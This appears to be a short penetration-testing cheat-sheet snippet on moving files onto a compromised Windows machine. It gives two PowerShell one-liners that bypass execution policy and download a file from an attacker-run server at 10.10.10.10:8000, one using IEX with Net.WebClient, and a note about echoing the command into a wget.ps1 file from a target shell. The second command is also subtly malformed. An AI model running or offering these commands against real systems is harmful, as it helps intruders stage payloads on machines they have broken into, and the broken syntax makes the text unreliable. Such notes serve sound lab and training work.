powershell.exe -nop -ep bypass -c "iwr -uri http://10.10.10.10:8000/file.txt -outfile file.txt"
or:
#Remember to specify port and correct $path where you want your file uploaded
#serve with Python or Apache
powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient)DownloadFile('http://10.10.10.10:8000/file.txt','C:\Windows\Temp\file.txt')""
1)From target shell echo the powershell command into a wget.ps1 file